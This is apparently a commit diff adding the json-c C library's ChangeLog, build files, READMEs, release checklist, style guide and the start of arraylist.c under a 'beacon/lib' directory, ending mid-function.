* Add a top level fuzz directory for fuzzers run by OSS-Fuzz
0.13 (up to commit 5dae561, 2017/11/29)
=================================
This release, being three and a half years after the 0.12 branch (f84d9c),
has quite a number of changes included. The following is a sampling of
the most significant ones.
Since the 0.12 release, 250 issues and pull requests have been closed.
See issues_closed_for_0.13.md for a complete list.
Deprecated and removed features:
--------------------------------
* All internal use of bits.h has been eliminated. The file will be removed.
Do not use: hexdigit(), error_ptr(), error_descrition() and it_error()
* lh_abort() is deprecated. It will be removed.
Behavior changes:
-----------------
* Tighten the number parsing algorithm to raise errors instead of truncating
the results. For example 12.3.4 or 2015-01-15, which now return null.
See commit 99d8fc
* Use size_t for array length and size. Platforms where sizeof(size_t) != sizeof(int) may not be backwards compatible
See commits 45c56b, 92e9a5 and others.
* Check for failue when allocating memory, returning NULL and errno=ENOMEM.
See commit 2149a04.
* Change json_object_object_add() return type from void to int, and will return -1 on failures, instead of exiting. (Note: this is not an ABI change)
New features:
-------------
* We're aiming to follow RFC 7159 now.
* Add a couple of additional option to json_object_to_json_string_ext:
JSON_C_TO_STRING_PRETTY_TAB
JSON_C_TO_STRING_NOSLASHESCAPE
* Add a json_object_object_add_ex() function to allow for performance
improvements when certain constraints are known to be true.
* Make serialization format of doubles configurable, in two different ways:
Call json_object_set_serializer with json_object_double_to_json_string and a custom
format on each double object, or
Call json_c_set_serialization_double_format() to set a global or thread-wide format.
* Add utility function for comparing json_objects - json_object_equal()
* Add a way to copy entire object trees: json_object_deep_copy()
* Add json_object_set_<type> function to modify the value of existing json_object's
without the need to recreate them. Also add a json_object_int_inc function to
adjust an int's value.
* Add support for JSON pointer, RFC 6901. See json_pointer.h
* Add a json_util_get_last_err() function to retrieve the string describing the
cause of errors, instead of printing to stderr.
* Add perllike hash function for strings, and json_global_set_string_hash() 8f8d03d
* Add a json_c_visit() function to provide a way to iterate over a tree of json-c objects.
Notable bug fixes and other improvements:
-----------------------------------------
* Make reference increment and decrement atomic to allow passing json objects between threads.
* Fix json_object_object_foreach to avoid uninitialized variable warnings.
* Improve performance by removing unneeded data items from hashtable code and reducing duplicate hash computation.
* Improve performance by storing small strings inside json_object
* Improve performance of json_object_to_json_string by removing variadic printf. commit 9ff0f49
* Issue #371: fix parsing of "-Infinity", and avoid needlessly copying the input when doing so.
* Fix stack buffer overflow in json_object_double_to_json_string_format() - commit 2c2deb87
* Fix various potential null ptr deref and int32 overflows
* Issue #332: fix a long-standing bug in array_list_put_idx() where it would attempt to free previously free'd entries due to not checking the current array length.
* Issue #195: use uselocale() instead of setlocale() in json_tokener to behave better in threaded environments.
* Issue #275: fix out of bounds read when handling unicode surrogate pairs.
* Ensure doubles that happen to be a whole number are emitted with ".0" - commit ca7a19
* PR#331: for Visual Studio, use a snprintf/vsnprintf wrapper that ensures the string is terminated.
* Fix double to int cast overflow in json_object_get_int64.
* Clamp double to int32 when narrowing in json_object_get_int.
* Use strtoll() to parse ints - instead of sscanf
* Miscellaneous smaller changes, including removing unused variables, fixing warning
about uninitialized variables adding const qualifiers, reformatting code, etc...
Build changes:
--------------
* Add Appveyor and Travis build support
* Switch to using CMake when building on Windows with Visual Studio.
A dynamic .dll is generated instead of a .lib
config.h is now generated, config.h.win32 should no longer be manually copied
* Add support for MacOS through CMake too.
* Enable silent build by default
* Link against libm when needed
* Add support for building with AddressSanitizer
* Add support for building with Clang
* Add a --enable-threading configure option, and only use the (slower) __sync_add_and_fetch()/__sync_sub_and_fetch() function when it is specified.
List of new functions added:
----------------------------
### json_object.h
* array_list_bsearch()
* array_list_del_idx()
* json_object_to_json_string_length()
* json_object_get_userdata()
* json_object_set_userdata()
* json_object_object_add_ex()
* json_object_array_bsearch()
* json_object_array_del_idx()
* json_object_set_boolean()
* json_object_set_int()
* json_object_int_inc()
* json_object_set_int64()
* json_c_set_serialization_double_format()
* json_object_double_to_json_string()
* json_object_set_double()
* json_object_set_string()
* json_object_set_string_len()
* json_object_equal()
* json_object_deep_copy()
### json_pointer.h
* json_pointer_get()
* json_pointer_getf()
* json_pointer_set()
* json_pointer_setf()
### json_util.h
* json_object_from_fd()
* json_object_to_fd()
* json_util_get_last_err()
### json_visit.h
* json_c_visit()
### linkhash.h
* json_global_set_string_hash()
* lh_table_resize()
### printbuf.h
* printbuf_strappend()
0.12.1
======
* Minimal changes to address compile issues.
0.12
====
* Address security issues:
* CVE-2013-6371: hash collision denial of service
* CVE-2013-6370: buffer overflow if size_t is larger than int
* Avoid potential overflow in json_object_get_double
* Eliminate the mc_abort() function and MC_ABORT macro.
* Make the json_tokener_errors array local. It has been deprecated for
a while, and json_tokener_error_desc() should be used instead.
* change the floating point output format to %.17g so values with
more than 6 digits show up in the output.
* Remove the old libjson.so name compatibility support. The library is
only created as libjson-c.so now and headers are only installed
into the ${prefix}/json-c directory.
* When supported by the linker, add the -Bsymbolic-functions flag.
* Various changes to fix the build on MSVC.
* Make strict mode more strict:
* number must not start with 0
* no single-quote strings
* no comments
* trailing char not allowed
* only allow lowercase literals
* Added a json_object_new_double_s() convenience function to allow
an exact string representation of a double to be specified when
creating the object and use it in json_tokener_parse_ex() so
a re-serialized object more exactly matches the input.
* Add support NaN and Infinity
0.11
====
* IMPORTANT: the name of the library has changed to libjson-c.so and
the header files are now in include/json-c.
The pkgconfig name has also changed from json to json-c.
You should change your build to use appropriate -I and -l options.
A compatibility shim is in place so builds using the old name will
continue to work, but that will be removed in the next release.
* Maximum recursion depth is now a runtime option.
json_tokener_new() is provided for compatibility.
json_tokener_new_ex(depth)
* Include json_object_iterator.h in the installed headers.
* Add support for building on Android.
* Rewrite json_object_object_add to replace just the value if the key already exists so keys remain valid.
* Make it safe to delete keys while iterating with the json_object_object_foreach macro.
* Add a json_set_serializer() function to allow the string output of a json_object to be customized.
* Make float parsing locale independent.
* Add a json_tokener_set_flags() function and a JSON_TOKENER_STRICT flag.
* Enable -Werror when building.
* speed improvements to parsing 64-bit integers on systems with working sscanf
* Add a json_object_object_length function.
* Fix a bug (buffer overrun) when expanding arrays to more than 64 entries.
0.10
====
* Add a json_object_to_json_string_ext() function to allow output to be
formatted in a more human readable form.
* Add json_object_object_get_ex(), a NULL-safe get object method, to be able
to distinguish between a key not present and the value being NULL.
* Add an alternative iterator implementation, see json_object_iterator.h
* Make json_object_iter public to enable external use of the
json_object_object_foreachC macro.
* Add a printbuf_memset() function to provide an effecient way to set and
append things like whitespace indentation.
* Adjust json_object_is_type and json_object_get_type so they return
json_type_null for NULL objects and handle NULL passed to
json_objct_object_get().
* Rename boolean type to json_bool.
* Fix various compile issues for Visual Studio and MinGW.
* Allow json_tokener_parse_ex() to be re-used to parse multiple object.
Also, fix some parsing issues with capitalized hexadecimal numbers and
number in E notation.
* Add json_tokener_get_error() and json_tokener_error_desc() to better
encapsulate the process of retrieving errors while parsing.
* Various improvements to the documentation of many functions.
* Add new json_object_array_sort() function.
* Fix a bug in json_object_get_int(), which would incorrectly return 0
when called on a string type object.
Eric Haszlakiewicz
* Add a json_type_to_name() function.
Eric Haszlakiewicz
* Add a json_tokener_parse_verbose() function.
Jehiah Czebotar
* Improve support for null bytes within JSON strings.
Jehiah Czebotar
* Fix file descriptor leak if memory allocation fails in json_util
Zachary Blair, zack_blair at hotmail dot com
* Add int64 support. Two new functions json_object_net_int64 and
json_object_get_int64. Binary compatibility preserved.
Eric Haszlakiewicz, EHASZLA at transunion com
Rui Miguel Silva Seabra, rms at 1407 dot org
* Fix subtle bug in linkhash where lookup could hang after all slots
were filled then successively freed.
Spotted by Jean-Marc Naud, j dash m at newtraxtech dot com
* Make json_object_from_file take const char *filename
Spotted by Vikram Raj V, vsagar at attinteractive dot com
* Add handling of surrogate pairs (json_tokener.c, test4.c, Makefile.am)
Brent Miller, bdmiller at yahoo dash inc dot com
* Correction to comment describing printbuf_memappend in printbuf.h
Brent Miller, bdmiller at yahoo dash inc dot com
0.9
===
* Add README.html README-WIN32.html config.h.win32 to Makefile.am
Michael Clark, <michael@metaparadigm.com>
* Add const qualifier to the json_tokener_parse functions
Eric Haszlakiewicz, EHASZLA at transunion dot com
* Rename min and max so we can never clash with C or C++ std library
Ian Atha, thatha at yahoo dash inc dot com
* Fix any noticeable spelling or grammar errors.
* Make sure every va_start has a va_end.
* Check all pointers for validity.
Erik Hovland, erik at hovland dot org
* Fix json_object_get_boolean to return false for empty string
Spotted by Vitaly Kruglikov, Vitaly dot Kruglikov at palm dot com
* optimizations to json_tokener_parse_ex(), printbuf_memappend()
Brent Miller, bdmiller at yahoo dash inc dot com
* Disable REFCOUNT_DEBUG by default in json_object.c
* Don't use this as a variable, so we can compile with a C++ compiler
* Add casts from void* to type of assignment when using malloc
* Add #ifdef __cplusplus guards to all of the headers
* Add typedefs for json_object, json_tokener, array_list, printbuf, lh_table
Michael Clark, <michael@metaparadigm.com>
* Null pointer dereference fix. Fix json_object_get_boolean strlen test
to not return TRUE for zero length string. Remove redundant includes.
Erik Hovland, erik at hovland dot org
* Fixed warning reported by adding -Wstrict-prototypes
-Wold-style-definition to the compilatin flags.
Dotan Barak, dotanba at gmail dot com
* Add const correctness to public interfaces
Gerard Krol, g dot c dot krol at student dot tudelft dot nl
0.8
===
* Add va_end for every va_start
Dotan Barak, dotanba at gmail dot com
* Add macros to enable compiling out debug code
Geoffrey Young, geoff at modperlcookbook dot org
* Fix bug with use of capital E in numbers with exponents
Mateusz Loskot, mateusz at loskot dot net
* Add stddef.h include
* Patch allows for json-c compile with -Werror and not fail due to
-Wmissing-prototypes -Wstrict-prototypes -Wmissing-declarations
Geoffrey Young, geoff at modperlcookbook dot org
0.7
===
* Add escaping of backslash to json output
* Add escaping of foward slash on tokenizing and output
* Changes to internal tokenizer from using recursion to
using a depth state structure to allow incremental parsing
0.6
===
* Fix bug in escaping of control characters
Johan Björklund, johbjo09 at kth dot se
* Remove include "config.h" from headers (should only
be included from .c files)
Michael Clark <michael@metaparadigm.com>
0.5
===
* Make headers C++ compatible by change *this to *obj
* Add ifdef C++ extern "C" to headers
* Use simpler definition of min and max in bits.h
Larry Lansing, llansing at fuzzynerd dot com
* Remove automake 1.6 requirement
* Move autogen commands into autogen.sh. Update README
* Remove error pointer special case for Windows
* Change license from LGPL to MIT
Michael Clark <michael@metaparadigm.com>
0.4
===
* Fix additional error case in object parsing
* Add back sign reversal in nested object parse as error pointer
value is negative, while error value is positive.
Michael Clark <michael@metaparadigm.com>
0.3
===
* fix pointer arithmetic bug for error pointer check in is_error() macro
* fix type passed to printbuf_memappend in json_tokener
* update autotools bootstrap instructions in README
Michael Clark <michael@metaparadigm.com>
0.2
===
* printbuf.c - C. Watford (christopher.watford@gmail.com)
Added a Win32/Win64 compliant implementation of vasprintf
* debug.c - C. Watford (christopher.watford@gmail.com)
Removed usage of vsyslog on Win32/Win64 systems, needs to be handled
by a configure script
* json_object.c - C. Watford (christopher.watford@gmail.com)
Added scope operator to wrap usage of json_object_object_foreach, this
needs to be rethought to be more ANSI C friendly
* json_object.h - C. Watford (christopher.watford@gmail.com)
Added Microsoft C friendly version of json_object_object_foreach
* json_tokener.c - C. Watford (christopher.watford@gmail.com)
Added a Win32/Win64 compliant implementation of strndup
* json_util.c - C. Watford (christopher.watford@gmail.com)
Added cast and mask to suffice size_t v. unsigned int conversion
correctness
* json_tokener.c - sign reversal issue on error info for nested object parse
spotted by Johan Björklund (johbjo09 at kth.se)
* json_object.c - escape " in json_escape_str
* Change to automake and libtool to build shared and static library
Michael Clark <michael@metaparadigm.com>
0.1
===
* initial release

2353
beacon/lib/json-c/Doxyfile Normal file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,3 @@
See README.md for installation instructions.

1126
beacon/lib/json-c/Makefile Normal file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,119 @@
ACLOCAL_AMFLAGS = -I autoconf-archive/m4
EXTRA_DIST = README.md README.html
EXTRA_DIST += config.h.win32
EXTRA_DIST += Doxyfile
EXTRA_DIST += issues_closed_for_0.13.md
dist-hook:
test -d "$(distdir)/doc" || mkdir "$(distdir)/doc"
chmod -R u+w "$(distdir)/doc"
cd "$(distdir)" && doxygen
SUBDIRS = . tests
lib_LTLIBRARIES = libjson-c.la
pkgconfigdir = $(libdir)/pkgconfig
pkgconfig_DATA = json-c.pc
libjson_cincludedir = $(includedir)/json-c
libjson_cinclude_HEADERS = \
arraylist.h \
debug.h \
json.h \
json_c_version.h \
json_config.h \
json_inttypes.h \
json_object.h \
json_object_iterator.h \
json_pointer.h \
json_tokener.h \
json_util.h \
json_visit.h \
linkhash.h \
printbuf.h
noinst_HEADERS=\
json_object_private.h \
math_compat.h \
strdup_compat.h \
snprintf_compat.h \
vasprintf_compat.h \
random_seed.h \
strerror_override.h
libjson_c_la_LDFLAGS = -version-info 4:0:0 -no-undefined @JSON_BSYMBOLIC_LDFLAGS@
libjson_c_la_SOURCES = \
arraylist.c \
debug.c \
json_c_version.c \
json_object.c \
json_object_iterator.c \
json_pointer.c \
json_tokener.c \
json_util.c \
json_visit.c \
linkhash.c \
printbuf.c \
random_seed.c \
strerror_override.c \
strerror_override_private.h
DISTCLEANFILES=
DISTCLEANFILES+= \
config.h \
json-c-uninstalled.pc \
json-c.pc \
json_config.h
distclean-local:
-rm -rf $(testsubdir)
JSON_CLEANFILES=
JSON_CLEANFILES+= \
Makefile.in \
aclocal.m4 \
autom4te.cache/ \
compile \
config.guess \
config.h.in \
config.sub \
configure \
depcomp \
install-sh \
ltmain.sh \
missing \
test-driver \
tests/Makefile.in
JSON_CLEANFILES+= \
libtool \
stamp-h1 \
stamp-h2
# There's no built-in way to remove these after all the other
# maintainer-clean steps happen, so do it explicitly here.
really-clean:
$(MAKE) maintainer-clean
rm -rf ${JSON_CLEANFILES}
uninstall-local:
rm -rf "$(DESTDIR)@includedir@/json-c"
rm -f "$(DESTDIR)@includedir@/json"
ANDROID_CFLAGS = -I$(top_srcdir) -DHAVE_CONFIG_H
Android.mk: Makefile.am
androgenizer -:PROJECT json-c \
-:SHARED libjson-c \
-:TAGS eng debug \
-:REL_TOP $(top_srcdir) -:ABS_TOP $(abs_top_srcdir) \
-:SOURCES $(libjson_c_la_SOURCES) $(nodist_libjson_c_la_SOURCES) \
-:CFLAGS $(DEFS) $(ANDROID_CFLAGS) $(libjson_c_la_CFLAGS) \
-:LDFLAGS $(libjson_c_la_LDFLAGS) $(libjson_c_la_LIBADD) \
-:HEADER_TARGET json-c \
-:HEADERS $(libjson_cinclude_HEADERS) \
-:PASSTHROUGH LOCAL_ARM_MODE:=arm \
> $@

File diff suppressed because it is too large Load Diff

1
beacon/lib/json-c/NEWS Normal file
View File

@ -0,0 +1 @@
See the git repo.

1
beacon/lib/json-c/README Normal file
View File

@ -0,0 +1 @@
See README.md or README.html

View File

@ -0,0 +1,41 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>JSON-C - A JSON implementation in C</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<h2>JSON-C - A JSON implementation in C</h2>
<h3>Overview</h3>
<p>JSON-C implements a reference counting object model that allows you to easily
construct JSON objects in C, output them as JSON formatted strings and parse
JSON formatted strings back into the C representation of JSON objects.
It aims to conform to <a href="https://tools.ietf.org/html/rfc7159">RFC 7159</a>.
</p>
<h3>Building</h3>
<p>To setup JSON-C to build on your system please run <tt>configure</tt> and <tt>make</tt>.</p>
<p>If you are on Win32 cmake is required, generally:</p>
<ul>
<li>mkdir build</li>
<li>cd build</li>
<li>cmake ..</li>
<li>msbuild "json-c.vcxproj" /m /verbosity:normal /p:OutDir=lib\</li>
<li>Or, open the project in Visual Studio</li>
</ul>
<h3>Documentation</h3>
<P>Doxygen generated documentation exists <a href="http://json-c.github.io/json-c/">here</a>.</P>
<h3><a href="https://github.com/json-c/json-c">GIT Reposository</a></h3>
<p><strong><code>git clone https://github.com/json-c/json-c.git</code></strong></p>
<h3><a href="http://groups.google.com/group/json-c">Mailing List</a></h3>
<pi>Send email to <strong><code>json-c <i>&lt;at&gt;</i> googlegroups <i>&lt;dot&gt;</i> com</code></strong></p>
<h3><a href="COPYING">License</a></h3>
<p>This program is free software; you can redistribute it and/or modify it under the terms of the MIT License.</p>
<hr/>
</body>
</html>

247
beacon/lib/json-c/README.md Normal file
View File

@ -0,0 +1,247 @@
`json-c`
========
1. [Overview and Build Status](#overview)
2. [Building on Unix](#buildunix)
3. [Install Prerequisites](#installprereq)
4. [Building with partial threading support](#buildthreaded)
5. [Building with CMake](#CMake)
6. [Linking to libjson-c](#linking)
7. [Using json-c](#using)
JSON-C - A JSON implementation in C <a name="overview"></a>
-----------------------------------
Build Status
* [AppVeyor Build](https://ci.appveyor.com/project/hawicz/json-c) ![AppVeyor Build Status](https://ci.appveyor.com/api/projects/status/github/json-c/json-c?branch=master&svg=true)
* [Travis Build](https://travis-ci.org/json-c/json-c) ![Travis Build Status](https://travis-ci.org/json-c/json-c.svg?branch=master)
JSON-C implements a reference counting object model that allows you to easily
construct JSON objects in C, output them as JSON formatted strings and parse
JSON formatted strings back into the C representation of JSON objects.
It aims to conform to [RFC 7159](https://tools.ietf.org/html/rfc7159).
Building on Unix and Windows with `vcpkg`, `gcc`/`g++`, `curl`, `unzip`, and `tar`
--------------------------------------------------
You can download and install JSON-C using the [vcpkg](https://github.com/Microsoft/vcpkg/) dependency manager:
git clone https://github.com/Microsoft/vcpkg.git
cd vcpkg
./bootstrap-vcpkg.sh
./vcpkg integrate install
vcpkg install json-c
The JSON-C port in vcpkg is kept up to date by Microsoft team members and community contributors. If the version is out of date, please [create an issue or pull request](https://github.com/Microsoft/vcpkg) on the vcpkg repository.
Building on Unix with `git`, `gcc` and `autotools` <a name="buildunix"></a>
--------------------------------------------------
Home page for json-c: https://github.com/json-c/json-c/wiki
### Prerequisites:
See also the "Installing prerequisites" section below.
- `gcc`, `clang`, or another C compiler
- `libtool>=2.2.6b`
If you're not using a release tarball, you'll also need:
- `autoconf>=2.64` (`autoreconf`)
- `automake>=1.13`
Make sure you have a complete `libtool` install, including `libtoolize`.
To generate docs (e.g. as part of make distcheck) you'll also need:
- `doxygen>=1.8.13`
### Build instructions:
`json-c` GitHub repo: https://github.com/json-c/json-c
```sh
$ git clone https://github.com/json-c/json-c.git
$ cd json-c
$ sh autogen.sh
```
followed by
```sh
$ ./configure # --enable-threading
$ make
$ make install
```
To build and run the test programs:
```sh
$ make check
$ make USE_VALGRIND=0 check # optionally skip using valgrind
```
Install prerequisites <a name="installprereq"></a>
-----------------------
If you are on a relatively modern system, you'll likely be able to install
the prerequisites using your OS's packaging system.
### Install using apt (e.g. Ubuntu 16.04.2 LTS)
```sh
sudo apt install git
sudo apt install autoconf automake libtool
sudo apt install valgrind # optional
```
Then start from the "git clone" command, above.
### Manually install and build autoconf, automake and libtool
For older OS's that don't have up-to-date versions of the packages will
require a bit more work. For example, CentOS release 5.11, etc...
```sh
curl -O http://ftp.gnu.org/gnu/autoconf/autoconf-2.69.tar.gz
curl -O http://ftp.gnu.org/gnu/automake/automake-1.15.tar.gz
curl -O http://ftp.gnu.org/gnu/libtool/libtool-2.2.6b.tar.gz
tar xzf autoconf-2.69.tar.gz
tar xzf automake-1.15.tar.gz
tar xzf libtool-2.2.6b.tar.gz
export PATH=${HOME}/ac_install/bin:$PATH
(cd autoconf-2.69 && \
./configure --prefix ${HOME}/ac_install && \
make && \
make install)
(cd automake-1.15 && \
./configure --prefix ${HOME}/ac_install && \
make && \
make install)
(cd libtool-2.2.6b && \
./configure --prefix ${HOME}/ac_install && \
make && \
make install)
```
Building with partial threading support <a name="buildthreaded"></a>
----------------------------------------
Although json-c does not support fully multi-threaded access to
object trees, it has some code to help make its use in threaded programs
a bit safer. Currently, this is limited to using atomic operations for
json_object_get() and json_object_put().
Since this may have a performance impact, of at least 3x slower
according to https://stackoverflow.com/a/11609063, it is disabled by
default. You may turn it on by adjusting your configure command with:
--enable-threading
Separately, the default hash function used for object field keys,
lh_char_hash, uses a compare-and-swap operation to ensure the random
seed is only generated once. Because this is a one-time operation, it
is always compiled in when the compare-and-swap operation is available.
Building with CMake <a name="CMake"></a>
--------------------
To use [CMake](https://cmake.org/cmake-tutorial/), build it like:
```sh
mkdir build
cd build
cmake ../
make
```
CMake can take a few options.
Variable | Type | Description
---------------------|--------|--------------
CMAKE_INSTALL_PREFIX | String | The install location.
BUILD_SHARED_LIBS | Bool | The default build generates a dynamic (dll/so) library. Set this to OFF to create a static library instead.
ENABLE_RDRAND | Bool | Enable RDRAND Hardware RNG Hash Seed
ENABLE_THREADING | Bool | Enable partial threading support
Pass these options as `-D` on CMake's command-line.
```sh
cmake -DBUILD_SHARED_LIBS=OFF ...
```
Testing with cmake:
By default, if valgrind is available running tests uses it.
That can slow the tests down considerably, so to disable it use:
```sh
export USE_VALGRIND=0
```
To run tests:
```sh
mkdir build-test
cd build-test
# VALGRIND=1 causes -DVALGRIND=1 to be included when building
VALGRIND=1 cmake ..
make
make test
# By default, if valgrind is available running tests uses it.
make USE_VALGRIND=0 test # optionally skip using valgrind
```
If a test fails, check `Testing/Temporary/LastTest.log`,
`tests/testSubDir/${testname}/${testname}.vg.out`, and other similar files.
If there is insufficient output try:
```sh
VERBOSE=1 make test
```
or
```sh
JSONC_TEST_TRACE=1 make test
```
and check the log files again.
Linking to `libjson-c` <a name="linking">
----------------------
If your system has `pkgconfig`,
then you can just add this to your `makefile`:
```make
CFLAGS += $(shell pkg-config --cflags json-c)
LDFLAGS += $(shell pkg-config --libs json-c)
```
Without `pkgconfig`, you would do something like this:
```make
JSON_C_DIR=/path/to/json_c/install
CFLAGS += -I$(JSON_C_DIR)/include/json-c
LDFLAGS+= -L$(JSON_C_DIR)/lib -ljson-c
```
Using json-c <a name="using">
------------
To use json-c you can either include json.h, or preferrably, one of the
following more specific header files:
* json_object.h - Core types and methods.
* json_tokener.h - Methods for parsing and serializing json-c object trees.
* json_pointer.h - JSON Pointer (RFC 6901) implementation for retrieving
objects from a json-c object tree.
* json_object_iterator.h - Methods for iterating over single json_object instances.
* json_visit.h - Methods for walking a tree of json-c objects.
* json_util.h - Miscelleanous utility functions.
For a full list of headers see [files.html](http://json-c.github.io/json-c/json-c-0.13.1/doc/html/files.html)

View File

@ -0,0 +1,137 @@
Release checklist:
release=0.14
git clone https://github.com/json-c/json-c json-c-${release}
cd json-c-${release}
Check that the compile works on Linux
Check that the compile works on NetBSD
Check that the compile works on Windows
Run "make distcheck" and fix any problems
(e.g. adding new files to SOURCES variables in Makefile.am)
Check ChangeLog to see if anything should be added.
Make any fixes/changes *before* branching.
git branch json-c-${release}
git checkout json-c-${release}
------------
Update the version in json_c_version.h
Update the version in Doxyfile
Update the version in configure.ac
Update the version in CMakeLists.txt
Update the version in config.h.win32
Use ${release}.
Update the libjson_la_LDFLAGS line in Makefile.am to the new version.
Generally, unless we're doing a major release, change:
-version-info x:y:z
to
-version-info x:y+1:z
------------
Generate the configure script and other files:
sh autogen.sh
git add -f Makefile.in aclocal.m4 config.guess config.h.in \
config.sub configure depcomp install-sh \
ltmain.sh missing tests/Makefile.in \
INSTALL compile test-driver
# check for anything else to be added:
git status --ignored
git commit
------------
Generate the doxygen documentation:
doxygen
git add -f doc
git commit doc
------------
cd ..
echo .git > excludes
echo autom4te.cache >> excludes
tar -czf json-c-${release}.tar.gz -X excludes json-c-${release}
echo doc >> excludes
tar -czf json-c-${release}-nodoc.tar.gz -X excludes json-c-${release}
------------
Tag the branch:
cd json-c-${release}
git tag -a json-c-${release}-$(date +%Y%m%d) -m "Release json-c-${release}"
git push origin json-c-${release}
git push --tags
------------
Go to Amazon S3 service at:
https://console.aws.amazon.com/s3/
Upload the two tarballs in the json-c_releases folder.
When uploading, use "Reduced Redundancy", and make the uploaded files publicly accessible.
Logout of Amazon S3, and verify that the files are visible.
https://s3.amazonaws.com/json-c_releases/releases/index.html
===================================
Post-release checklist:
git checkout master
Add new section to ChangeLog
Update the version in json_c_version.h
Update the version in Doxyfile
Update the version in configure.ac
Update the version in CMakeLists.txt
Update the version in config.h.win32
Use ${release}.99 to indicate a version "newer" than anything on the branch.
Update the libjson_la_LDFLAGS line in Makefile.am to match the release branch.
For more details see:
http://www.gnu.org/software/libtool/manual/html_node/Updating-version-info.html
------------
Update the gh-pages branch with new docs:
cd json-c-${release}
git checkout json-c-${release}
cd ..
git clone -b gh-pages https://github.com/json-c/json-c json-c-pages
cd json-c-pages
mkdir json-c-${release}
cp -R ../json-c-${release}/doc json-c-${release}/.
git add json-c-${release}
git commit
vi index.html
Add/change links to current release.
git commit index.html
git push
------------
Update checksums on wiki page.
cd ..
openssl sha -sha256 json-c*gz
openssl md5 json-c*gz
Copy and paste this output into the wiki page at:
https://github.com/json-c/json-c/wiki
------------
Send an email to the mailing list.

View File

@ -0,0 +1,31 @@
In general:
For minor changes to a function, copy the existing formatting.
When changing the style, commit that separately from other changes.
For new code and major changes to a function, switch to the official json-c style.
Official json-c style:
Aim for readability, not strict conformance to fixed style rules.
These rules are not comprehensive. Look to existing code for guidelines.
Indentation is tab based, with continuations of long lines starting with tabs then spaces for alignment.
Try to line up components of continuation lines with corresponding part of the line above (i.e. "indent -lp" effect), but avoid excessive indentation tha causes extra line wraps.
e.g. (T=tab, S=space):
TTTTsome_long_func_call(arg1, arg2,
TTTTSSSSSSSSSSSSSSSSSSSarg3, arg4);
TTTTsome_reallly_really_long_func_name(arg1,
TTTTTarg2, arg3, arg4);
There should be a space between "if"/"while" and the following parenthesis.
"case" lines are indented at the same level as the "switch" statement.
Commas are followed by a single space.
Include spaces around most non-unary, non-postfix operators, "=", "==', "&", "||", etc...
Function calls have no space between the name and the parenthesis.
Curly braces go on their own line.
Curly braces may be omitted.
Naming:
Words within function and variable names are separated with underscores. Avoid camel case.
Prefer longer, more descriptive names, but not excessively so. No single letter variable names.
Other:
Variables should be defined for the smallest scope needed.
Functions should be defined static when possible.
When possible, avoid exposing internals in the public API.

1157
beacon/lib/json-c/aclocal.m4 vendored Normal file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,37 @@
version: '{branch}.{build}'
os: Windows Server 2012 R2
platform: x64
# There should be a better way to set-up a build matrix.
environment:
matrix:
- b_toolset: Windows7.1SDK
b_config: Debug
- b_toolset: Windows7.1SDK
b_config: Release
- b_toolset: v120
b_config: Debug
- b_toolset: v120
b_config: Release
- b_toolset: v140
b_config: Debug
- b_toolset: v140
b_config: Release
build_script:
- cmake -T %b_toolset% -DCMAKE_BUILD_TYPE=%b_config% -DCMAKE_INSTALL_PREFIX=t_install .
- cmake --build . --target install
after_build:
- cd t_install
- 7z a ../json-c.win32.%b_toolset%.%b_config%.zip *
artifacts:
- path: json-c.win32.%b_toolset%.%b_config%.zip
name: json-c.win32.%b_toolset%.%b_config%.zip

View File

@ -0,0 +1,146 @@
/*
* $Id: arraylist.c,v 1.4 2006/01/26 02:16:28 mclark Exp $
*
* Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
* Michael Clark <michael@metaparadigm.com>
*
* This library is free software; you can redistribute it and/or modify
* it under the terms of the MIT license. See COPYING for details.
*
*/
#include "config.h"
#include <limits.h>
#ifdef STDC_HEADERS
# include <stdlib.h>
# include <string.h>
#endif /* STDC_HEADERS */
#if defined(HAVE_STRINGS_H) && !defined(_STRING_H) && !defined(__USE_BSD)
# include <strings.h>
#endif /* HAVE_STRINGS_H */
#ifndef SIZE_T_MAX
#if SIZEOF_SIZE_T == SIZEOF_INT
#define SIZE_T_MAX UINT_MAX
#elif SIZEOF_SIZE_T == SIZEOF_LONG
#define SIZE_T_MAX ULONG_MAX
#elif SIZEOF_SIZE_T == SIZEOF_LONG_LONG
#define SIZE_T_MAX ULLONG_MAX
#else
#error Unable to determine size of size_t
#endif
#endif
#include "arraylist.h"
struct array_list*
array_list_new(array_list_free_fn *free_fn)
{
struct array_list *arr;
arr = (struct array_list*)calloc(1, sizeof(struct array_list));
if(!arr) return NULL;
arr->size = ARRAY_LIST_DEFAULT_SIZE;
arr->length = 0;
arr->free_fn = free_fn;
if(!(arr->array = (void**)calloc(sizeof(void*), arr->size))) {
free(arr);
return NULL;
}
return arr;
}
extern void
array_list_free(struct array_list *arr)
{
size_t i;
for(i = 0; i < arr->length; i++)
if(arr->array[i]) arr->free_fn(arr->array[i]);
free(arr->array);
free(arr);
}
void*
array_list_get_idx(struct array_list *arr, size_t i)
{
if(i >= arr->length) return NULL;
return arr->array[i];
}
static int array_list_expand_internal(struct array_list *arr, size_t max)
{
void *t;
size_t new_size;
if(max < arr->size) return 0;
/* Avoid undefined behaviour on size_t overflow */
if( arr->size >= SIZE_T_MAX / 2 )
new_size = max;
else
{
new_size = arr->size << 1;
if (new_size < max)
new_size = max;
}
if (new_size > (~((size_t)0)) / sizeof(void*)) return -1;
if (!(t = realloc(arr->array, new_size*sizeof(void*)))) return -1;
arr->array = (void**)t;
(void)memset(arr->array + arr->size, 0, (new_size-arr->size)*sizeof(void*));
arr->size = new_size;
return 0;
}
int
array_list_put_idx(struct array_list *arr, size_t idx, void *data)
{
if (idx > SIZE_T_MAX - 1 ) return -1;
if(array_list_expand_internal(arr, idx+1)) return -1;
if(idx < arr->length && arr->array[idx])
arr->free_fn(arr->array[idx]);
arr->array[idx] = data;
if(arr->length <= idx) arr->length = idx + 1;
return 0;
}
int
array_list_add(struct array_list *arr, void *data)
{
return array_list_put_idx(arr, arr->length, data);
}
void
array_list_sort(struct array_list *arr, int(*compar)(const void *, const void *))
{
qsort(arr->array, arr->length, sizeof(arr->array[0]), compar);
}
void* array_list_bsearch(const void **key, struct array_list *arr,
